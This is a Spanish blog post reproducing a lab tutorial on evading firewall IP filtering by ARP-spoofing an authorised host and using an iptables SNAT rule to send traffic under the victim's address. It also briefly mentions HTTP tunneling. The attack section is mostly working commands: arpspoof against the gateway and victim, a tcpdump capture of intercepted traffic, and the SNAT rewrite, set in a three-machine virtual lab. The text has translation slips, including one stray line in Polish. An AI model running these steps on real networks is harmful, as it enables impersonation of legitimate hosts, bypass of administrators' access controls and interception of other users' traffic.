Saltando la seguridad de un Firewall

Quiero aportar algo sobre reglas de filtrado, para lo que incluyo un documento sobre como tratar de burlar las reglas de filtrado por IP de un firewall.

Como es sabido, las reglas de filtrado de un firewall de paquetes examinan la cabecera, y en función de los valores de IP origen, IP destino, Puerto Origen, Puerto Destino, permiten o deniegan el tráfico a través de él.

Una forma de tratar de burlar las reglas de filtrado es modificar en el equipo del atacante la dirección IP para que coincida con alguna de las IP autorizadas.
El problema surge cuando el equipo con la IP original está también conectado, ya que en ese caso se produce un conflicto de direcciones IP (dos equipos con la misma IP).

Una alternativa es utilizar las técnicas de ARP spoofing para “engañar” al firewall indicandole una falsa dirección MAC (la propia del atacante) asociada a la IP del equipo autorizado.
De esta forma y configurando las reglas de enrutado y NAT adecuadas, el equipo del atacante puede utilizar la IP autorizada simultaneamente al equipo “auténtico”.

Un ejemplo de la configuración necesaria para ello:

smart spoofing – tutorial

Tutorial extraido de hakin9live. El presente documento es un tutorial al artículo How to bypass IP address filtering, often used by firewalls or routers. De él aprenderás, cómo realizar smart spoofing para mentir a los cortafuegos que limita el acceso a Internet según la dirección IP.

Concepción

Realizamos el ejercicio en tres ordenadores conectados en una red.

El escenario de nuestra aventura es el siguiente: iniciamos una red de pruebas que está compuesta de tres ordenadores. El ordenador que empleemos con el color verde pertenecerá a un usuario honesto; el ordenador rojo es empleado por un intruso. En la red se encuentra también la puerta dotada de dos tarjetas Ethernet. Una de las tarjetas está conectada a la red interna (junto con el ordenador verde y rojo), la segunda – al ordenador de anfitrión (es decir, real, físico ordenador en el cual está ejecutado vmware).

En la puerta funciona NAT, gracias a lo cual el ordenador verde y rojo pueden conectarse al ordenador de anfitrión. El administrador que cuida de nuestra red de pruebas configuró la puerta de tal forma que se rechazan en ella todos los paquetes que salen del ordenador rojo (con lo cual el intruso no tiene conexión al mundo externo).

En nuestro ejercicio nos pondremos en el papel del intruso que trabaja en el ordenador rojo y planifica evitar las limitaciones puestas por el administrador.

Preparaciones

Empezaremos por preparar el taller de trabajo. Para las pruebas necesitaremos vmware con los ejecutables dentro tres ordenadores virtuales conectados en una red respectivamente configurada.

vmware


ejecución y configuración de ordenadores virtuales

Ahora ejecutaremos los ordenadores virtuales y los configuraremos conforme con la descripción.

[08] Configuramos la red interna que une entre sí los tres ordenadores. En el ordenador verde (señalado con live_1) introduce los comandos:
# ifconfig eth0 10.10.10.101 up # ifconfig

En el ordenador rojo (señalado con live_2) introduce el comando:
# ifconfig eth0 10.10.10.102 up # ifconfig

En la puerta (señalada con gateway) introduce el comando:
# ifconfig eth0 10.10.10.1 up # ifconfig

En este momento los ordenadores virtuales están conectados en una red según el esquema que se describe a:

Asegúrate de que los ordenadores se identifican con ping:


[09] Como recordamos, la segunda tarjeta Ethernet de la puerta debe estar conectada al STYLE=”text-decoration: none”>ordenador anfitrión. Cuando todo ha ido correctamente,su configuración ha sido descargada por medio de DHCP en el momento de iniciar el ordenador. Asegúrate de que realmente es así:
# ifconfig eth1 # ping 172.16.61.1 -c 5

Nota: al preparar el tutorial trabajamos con tal configuración de vmware’a que la dirección IP de la segunda interfaz de la puerta era 172.16.61.136, en cambio, la dirección de la respectiva interfaz del ordenador anfitrión172.16.61.1 Cuando en tu configuración de vmware’a las direcciones sean diferentes, tenlo en cuenta al realizar los ejercicios.
En este momento la red está configurada conforme con el siguiente esquema:


Ahora configuraremos la red tal que los ordenadores verde y rojo tengan acceso a través de la puerta acceso al ordenador anfitrión

Para ello en la puerta configuraremos NAT y en la máquina verde y roja como una puerta predeterminada fijaremos el ordenador azul, es decir, lapuerta.


[10] En la puerta configuraremos NAT y activaremos el reenvío de paquetes:
# iptables -t nat -A POSTROUTING -o eth1 -j SNAT –to-source 172.16.61.136 # echo 1 > /proc/sys/net/ipv4/ip_forward
En la máquina verde y rojo como la puerta predeterminada fijaremos el ordenador azul:
# route add default gw 10.10.10.1
Nota: recuerda que el comando de arriba hay que introducirlo en ambos ordenadores – verde i rojo

[11] Debemos asegurarnos de que desde ambos ordenadores – verde y rojo – podemos enviar ping al ordenador anfitrión
# ping 172.16.61.1 -c 5


[12] Ahora haremos que la puerta no deje pasar en el mundo los paquetes que proceden del ordenador rojo Para ello en la puerta introduce el comando:
# iptables -A FORWARD -s 10.10.10.102 -j REJECT
Comprueba que el comando consiguió el resultado – vuelve a tratar desde ordenador rojo de enviar ping al ordenador anfitrión:
# ping 172.16.61.1 -c 5

Nada. En este momento la configuración de la red es conforme con la supuesta – observa el siguiente esquema:


Ataque

El ataque estará compuesto de dos elementos. Primero realizaremos un ordinario arp spoofing, en cuyo resultado el tráfico de red entre el verde y la puerta pasará a través del ordenador de intruza.

Luego configuraremos iptables en el ordenador rojo tal que los paquetes salientes del rojo tengan cabeceras convertidas – como remitente se introducirá la dirección IP del ordenador verde.

Cuando la puerta quiera contestar al ordenador rojo, la respuesta enviará a la dirección 10.10.10.101. Sin embargo, gracias a arp spoofing los paquetes enviados a esta dirección de todas formas pasan por el ordenador rojo. Allí iptables – gracias al respectivamente configurado iptables – separará los paquetes relacionados con las conexiones salientes del ordenador verde de las conexiones propias. Así tanto el ordenador verde como el rojo podrán comunicarse al ordenador anfitrión sin perturbaciones; como la puerta de los paquetes procedentes del rojo verá como la dirección del remitente IP del verde por lo tanto, no los bloqueará:


arp spoofing

[13] Pasa al ordenador rojo Activa el reenvío de paquetes:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Zablokuj wysyłanie pakietów ICMP typu host-redirect:
# iptables -A OUTPUT -p icmp –icmp-type host-redirect -j DROP
Empieza arp spoofing. En la primera consola (alt+F1) introduce el comando:
# arpspoof -t 10.10.10.1 10.10.10.101
En la segunda consola (alt+F2):
# arpspoof -t 10.10.10.101 10.10.10.1

[14] Para asegurarte de que arp spoofing funciona, en el ordenador rojo en la consola tercera (alt+F3) activa tcpdump:
# tcpdump -l -n tcp -A -s 128
Cuando aparezca un aviso sobre la prueba de pasar en el modo promiscuo, haz clic en Aceptar.

En el ordenador anfitrión ejecuta netcat que escucha en el nudo infinito del puerto 9001:
$ while (true); do nc -v -l -p 9001; done
Desde el ordenador verde trata de conectarte al puerto 9001 del anfitrión:
# nc -v 172.16.61.1 9001
Cuando veas el mensaje (UNKNOWN) [172.16.61.1] 9001 (?) open, introduce one two three, haz clic en enter y termina la conexión ctrl+c.

Consulta tcpdump que funciona en el ordenador rojo. Cuando capturó los paquetes intercambiados entre el rojo y el anfitrión, entonces arp spoofing tuvo éxito.


smart spoofing

[15] Asegúrate de que el ordenador rojo no tiene acceso al puerto 9001 en el ordenador anfitrión
# nc -v 172.16.61.1 9001


[16] Ahora debes de manera respectiva configurar iptables en el ordenador rojo – tal que modifique la dirección del remitente en los paquetes salientes y respectivamente segregue los paquetes entrantes y el reenvío. Afortunadamente, este asunto complicado se arregla con un simple comando:
# iptables -t nat -A POSTROUTING -j SNAT –to-source 10.10.10.101

[17] Ahora trata de conectarte al ordenador anfitrión
# nc -v 172.16.61.1 9001

¡Éxito!
Otra de las técnicas para evitar el filtrado del firewall consiste en enmascarar u ocultar tráfico de protocolos no deseados dentro de un protocolo permitido por las reglas de filtrado (por ejemplo a través de tráfico http por el puerto 80) a esta técnica se le conoce como “Tunneling”
Como ejemplo de como establecer un tunel a través del puerto 80 (http) os incluyo este documento que describe el proceso a seguir utilizando el software httptunnel:http_tunnel
Anuncios

Acerca de mitch

Quiero compartir mis experiencias y mis humildes conocimientos
Esta entrada fue publicada en Otros, Redes. Guarda el enlace permanente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s